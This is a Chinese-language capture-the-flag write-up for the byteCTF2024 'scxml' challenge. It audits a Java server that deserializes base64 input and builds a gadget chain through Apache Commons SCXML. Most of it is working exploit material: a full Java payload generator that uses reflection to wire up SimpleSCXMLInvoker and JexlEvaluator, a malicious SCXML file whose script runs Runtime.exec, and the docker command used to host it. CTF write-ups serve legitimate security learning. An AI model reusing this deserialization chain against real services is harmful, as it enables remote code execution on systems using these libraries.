byteCTF2024-scxml 入门代码审计,有一些比较;
源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public  class  Main  {    public  static  void  main (String[] args)  throws  IOException {         var  port  =  Integer.parseInt(System.getenv().getOrDefault("PORT" , "8000" ));         var  server  =  HttpServer.create(new  java .net.InetSocketAddress(port), 0 );         server.createContext("/" , req -> {             var  code  =  200 ;             var  response  =  switch  (req.getRequestURI().getPath()) {                 case  "/scxml"  -> {                     try  {                         var  param  =  req.getRequestURI().getQuery();                         yield  new  java .io.ObjectInputStream(new  java .io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString();                     } catch  (Throwable e) {                         e.printStackTrace();                         yield  ":(" ;                     }                 }                 default  -> {                     code = 404 ;                     yield  "Not found" ;                 }             };             req.sendResponseHeaders(code, 0 );             var  os  =  req.getResponseBody();             os.write(response.getBytes());             os.close();         });         server.start();         System.out.printf("Server listening on :%s\n" , port);     } } 
 
把你传进去的任何 base64 解码之后进行反序列化;
依赖 四个依赖:
com.n1ght 是出题人留的一定会用,还给了 hint  是一个链接,内容是 commons scxml 这个依赖的一种打法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import  org.apache.commons.scxml2.SCXMLExecutor;import  org.apache.commons.scxml2.io.SCXMLReader;import  org.apache.commons.scxml2.model.ModelException;import  org.apache.commons.scxml2.model.SCXML;import  javax.xml.stream.XMLStreamException;import  java.io.IOException;public  class  SCXMLDemo  {    public  static  void  main (String[] args)  throws  ModelException, XMLStreamException, IOException {                  SCXMLExecutor  executor  =  new  SCXMLExecutor ();                  SCXML  scxml  =  SCXMLReader.read("http://127.0.0.1:8000/poc.xml" );                  executor.setStateMachine(scxml);         executor.go();     } } 
 
好吧也不能算是打法,只是告诉你这个东西能执行远程代码,还需要起 http 服务挂一个 xml:
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" ?> <scxml  xmlns ="http://www.w3.org/2005/07/scxml"  version ="1.0"  initial ="run" > <state  id ="run" > <onentry > <script > '' .getClass ().forName ('java.lang.Runtime' ).getRuntime ().exec ('open -a calculator' )</script > </onentry > </state > </scxml > 
 
直接找链子即可,入口点给的很明显了,在 com.n1ght.InvokerImpl:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public  class  InvokerImpl  implements  Serializable  {    private  final  Invoker o;     private  final  String source;     private  final  Map params;     public  InvokerImpl (Invoker o, String source, Map params)  {         this .o = o;         this .source = source;         this .params = params;     }     public  String toString ()  {         try  {             this .o.invoke(this .source, this .params);             return  "success invoke" ;         } catch  (InvokerException var2) {             throw  new  RuntimeException (var2);         }     } } 
 
这里重写的 toString() 结合 Main.java 的:
1 java.io.ObjectInputStream(new  java .io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString() 
 
很适合作为反序列化的入口点,往下触发 o.invoke() ,进 Invoker ,只有 SimpleSCXMLInvoker 一个实现,看一下 Invoker#invoke() 这个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51    private  static  final  long  serialVersionUID  =  1L ;    private  String parentStateId;    private  String eventPrefix;    private  SCInstance parentSCInstance;    private  SCXMLExecutor executor;    private  boolean  cancelled;    private  static  String  invokePrefix  =  ".invoke." ;    private  static  String  invokeDone  =  "done" ;    private  static  String  invokeCancelResponse  =  "cancel.response" ; public  SimpleSCXMLInvoker ()  {   } public  void  invoke (String source, Map<String, Object> params)  throws  InvokerException {       SCXML  scxml  =  null ;        try  {            scxml = SCXMLReader.read(new  URL (source));        } catch  (ModelException var9) {            throw  new  InvokerException (var9.getMessage(), var9.getCause());        } catch  (IOException var10) {            throw  new  InvokerException (var10.getMessage(), var10.getCause());        } catch  (XMLStreamException var11) {            throw  new  InvokerException (var11.getMessage(), var11.getCause());        }        Evaluator  eval  =  this .parentSCInstance.getEvaluator();        this .executor = new  SCXMLExecutor (eval, new  SimpleDispatcher (), new  SimpleErrorReporter ());        Context  rootCtx  =  eval.newContext((Context)null );        Iterator  var6  =  params.entrySet().iterator();        while (var6.hasNext()) {            Map.Entry<String, Object> entry = (Map.Entry)var6.next();            rootCtx.setLocal((String)entry.getKey(), entry.getValue());        }        this .executor.setRootContext(rootCtx);        this .executor.setStateMachine(scxml);        this .executor.addListener(scxml, new  SimpleSCXMLListener ());        this .executor.registerInvokerClass("scxml" , this .getClass());        try  {            this .executor.go();        } catch  (ModelException var8) {            throw  new  InvokerException (var8.getMessage(), var8.getCause());        }        if  (this .executor.getCurrentStatus().isFinal()) {            TriggerEvent  te  =  new  TriggerEvent (this .eventPrefix + invokeDone, 3 );            (new  AsyncTrigger (this .parentSCInstance.getExecutor(), te)).start();        }    } 
 
结合 hint 容易知道 this.executor.go() 能执行参数 source 里 <script> 包含的 Java 代码(JEXL 短表达式 ),但创建出来这个类里很多属性默认是 null,需要动手设置一下;
这里 executor 直到 this.executor.go() 之前调用了 this.parentSCInstance.getEvaluator(),这提出了四点要求:
实例化一个 SCXMLExecutor ,进而实例化一个 SCInstance; 
实例化一个 Evaluator; 
设置 this.parentSCInstance 为实例化出来的 SCInstance; 
this.parentSCInstance.setEvaluator(); 
 
其中,SCInstance(Executor)  为 protected 构造方法,exp 中需要反射调用;
this.parentSCInstance.setEvaluator() 也为 protected 方法,也需要反射调用;
Evaluator 有好四种,根据 <script> 执行的语句为 Java 判断传入 JexlEvaluator,事实上别的类也用不了;
解 首先将恶意的 xml 挂在一个  http 服务上,我使用简单的 httpd 起镜像:
1 docker run -d  -p  8081 :80  httpd:2.4 .62 -bookworm  
 
进入文件系统将 /usr/local/apache2/htdocs/index.html 改为 exp xml 内容:
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" ?> <scxml  xmlns ="http://www.w3.org/2005/07/scxml"  version ="1.0"  initial ="run" > <state  id ="run" > <onentry > <script > '' .getClass ().forName ('java.lang.Runtime' ).getRuntime ().exec ('calc' )</script > </onentry > </state > </scxml > 
 
运行完整 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import  com.n1ght.InvokerImpl;import  org.apache.commons.scxml2.Evaluator;import  org.apache.commons.scxml2.SCInstance;import  org.apache.commons.scxml2.SCXMLExecutor;import  org.apache.commons.scxml2.env.jexl.JexlEvaluator;import  org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker;import  java.io.ByteArrayOutputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Constructor;import  java.lang.reflect.Method;import  java.util.Base64;import  java.util.HashMap;import  java.util.Map;public  class  Exploit  {    public  static  void  main (String[] args)  throws  Exception {         System.out.println(new  Exploit ().getPayload());     }     private  String getPayload ()  throws  Exception {                  SCXMLExecutor  scxmlExecutor  =  new  SCXMLExecutor ();         Constructor  scInstanceConstructor  =  SCInstance.class.getDeclaredConstructors()[0 ];         scInstanceConstructor.setAccessible(true );         SCInstance  scInstance  =  (SCInstance) scInstanceConstructor.newInstance(scxmlExecutor);                           JexlEvaluator  jexlEvaluator  =  new  JexlEvaluator ();         Method  setEvalMethod  =  SCInstance.class.getDeclaredMethod("setEvaluator" , Evaluator.class);         setEvalMethod.setAccessible(true );         setEvalMethod.invoke(scInstance, jexlEvaluator);                  SimpleSCXMLInvoker  invoker  =  new  SimpleSCXMLInvoker ();         invoker.setSCInstance(scInstance);                  Map<String, Object> map = new  HashMap <>();         InvokerImpl  payload  =  new  InvokerImpl (invoker, "http://localhost:8081/" , map);                  ByteArrayOutputStream  bos  =  new  ByteArrayOutputStream ();         ObjectOutputStream  ois  =  new  ObjectOutputStream (bos);         ois.writeObject(payload);         return  new  String (Base64.getEncoder().encode(bos.toByteArray()));     } } 
 
传参:
弹出计算器,本地通;
求甚解 把 JexlEvaluator 的构造方法看成了 protected,想,如果这个 evaluator 使用者实例化不了那这个库是干什么用的;
这样题反射也能出,想起来学区块链 web3.js 读  public 变量也非要用 getStorageAt() 了,某种强迫症;
言归正传,一直在想这个库到底有什么用,乱看了一晚上,觉忘记睡了,刚刚上早八发现 JexlEvaluator() 是公有的; 
我也不知道学习安全的该不该想这么多,事实上每次这样纠结很久最后都会发现自己是错的,而且得出的总是很浅显的结论;
但其实和 IDEA 大眼瞪小眼一整夜,收获也不能说是完全没有。